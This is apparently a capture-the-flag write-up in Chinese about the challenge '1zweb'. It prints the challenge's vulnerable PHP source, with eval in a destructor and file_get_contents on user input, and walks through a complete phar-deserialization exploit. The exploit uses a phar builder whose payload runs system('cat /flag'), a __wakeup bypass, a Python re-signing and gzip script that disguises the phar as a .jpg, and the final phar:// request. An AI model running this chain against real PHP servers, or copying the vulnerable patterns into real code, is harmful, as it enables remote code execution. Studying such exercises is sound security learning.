1zweb(phar反序列化)
查询文件
打开题目看到查询文件和上传文件两大块内容
既然都给了查询文件的权限,我们就先来查看一下源码里面有什么东西,果然有题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ echo file_get_contents($file); }
|
在这里面我们看到了file_get_contents($file),ile_get_content可以触发 phar 反序列化,但是要绕过__wakeup,因为里面我们看到了强比较,正常情况下我们是能直接给$ljt和$dky赋值达到绕过强比较的目的,但是因为_wakeup()这个魔法函数在执行反序列化时会先调用它,所以必须要绕过这个魔法函数才能达到绕过强比较的目的,我们采用改变属性个数这个方法
在查询到源码文件后,我们还能看到一个upload.php文件,顺手给他也查一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
|
审计源码
1.对上传的文件进行了.gif,.jpeg,.jpg.png的后缀检验
2.在上传的文件内容中搜索__HALT_COMPILER (); 第一次出现的位置,搜索到即 echo 发现 phar,否则文件中不存在则__HALT_COMPILER ()上传成功
3.这就要求我们在利用phar://伪协议去解析phar文件达到将phar文件中以序列化形式存在的_meta_data数据反序列化的同时,不能让phar文件中出现__HALT_COMPILER (),但是我们在构造phar文件可知,这部分内容是必须存在的,所有我们采取将phar文件压缩的方式达到让服务器识别不到phar文件中的_HALT_COMPILER ()
总结:
__wakeup()绕过
1.修改序列化中的属性个数
2.因为修改了phar文件中序列化的属性个数,签名被破坏了,所以还要进行重新签名这个操作
1 2 3 4 5 6 7 8
| 修改phar文件中序列化的属性个数会破坏签名的原因: phar文件结构 1.Stub(文件头,通常以 <?php __HALT_COMPILER(); 结尾) 2.Manifest(元数据,包含文件信息、序列化属性等) 3.文件内容 4.签名(位于文件末尾) 其中 签名是对前面所有数据(Stub + Manifest + 文件内容)的哈希校验值。 所以改变了序列化属性,签名的哈希校验值也会改变,签名就会改变
|
绕过__HALT_COMPILER();检测
gzip加密(此题不用zip加密也是尝试后的结果,用zip加密起不到绕过检测的目的)
1 2 3 4 5
| 不使用zip加密,使用gzip加密的原因: 1.gzip加密,压缩单位是单个文件/数据流,而zip加密是多文件归档+目录结构,对于phar文件来说phar是单文件分发,zip功能冗余 2.此原因是最主要的,phar的签名是对压缩前的数据计算的,GZIP 仅压缩数据部分,不破坏签名验证流程。 ZIP 的复杂结构可能导致签名校验失败(如额外插入压缩元数据)。 在我们生成了phar文件之后为了绕过_wakeup魔法函数修改了序列属性个数,在这里为了恢复签名,我们利用python脚本呢进行了重新签名的操作(python脚本下面对给出),所以为了操作可行性更高我们在对phar文件进行压缩时不能再改变签名了
|
1 2 3 4 5 6 7 8
| 为什么gzip加密能绕过检测: 当phar文件被整体压缩后 1.Stub 被压缩为二进制数据 PHP 无法直接识别压缩后的 <?php __HALT_COMPILER();,因为: GZIP 的头部/尾部附加了压缩元数据(如魔数 0x1F 0x8B)。 压缩后的数据需要先解压才能读取原始 Stub。 2.PHP 的 PHAR 扩展无法自动解压 PHAR 解析器默认期望 未压缩的 Stub,遇到 GZIP 压缩数据时会直接报错
|
生成phar文件
审计第一段代码,我们知道我们需要反序列化LoveNss类一个对象
其中$ljt和$dky的值量体而定,$cmd一看就是RCE,写入我们查询flag的语句即可
因为要生成phar文件,我们
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class LoveNss{ public $ljt="Misc"; public $dky="Re"; public $cmd="system('cat /flag ');";
} $a=new LoveNss(); $phar =new Phar("phar1.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($a); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
更改属性个数+重新签名+gzip加密
将上面生成的phar文件属性个数改为比原本大的数字,然后编写一个Python脚本,实现重新签名和gzip加密
因为题目中有对文件后缀的检查,所以这里我们在将phar文件gzip加密之后将后装改为jpg或者另外几个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from hashlib import sha1
import gzip
file = open(r'D:\python\Code\month01\phar1.phar', 'rb').read()
data = file[:-28]
final = file[-8:]
newfile = data + sha1(data).digest() + final
open(r'D:\python\Code\month01\new.phar', 'wb').write(newfile)
newf = gzip.compress(newfile) with open(r'D:\python\Code\month01\4.jpg', 'wb') as file: file.write(newf)
|
最后生成一个4.jpg文件
上传文件
将我们生成的4.jpg上传
phar://伪协议解析phar文件时,都会将meta-data进行反序列化
利用phar://伪协议去读取我们刚上传的伪装的jpg文件(这里和phar://协议的工作原理有关,可以成功读取到隐藏的phar文件),触发反序列化,达到目的
我们上述做的所有操作(gzip加密,将后缀伪装成.jpg是为了欺骗服务器)
此题是post传参
file=phar://./upload/4.jpg
到此,得到flag
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~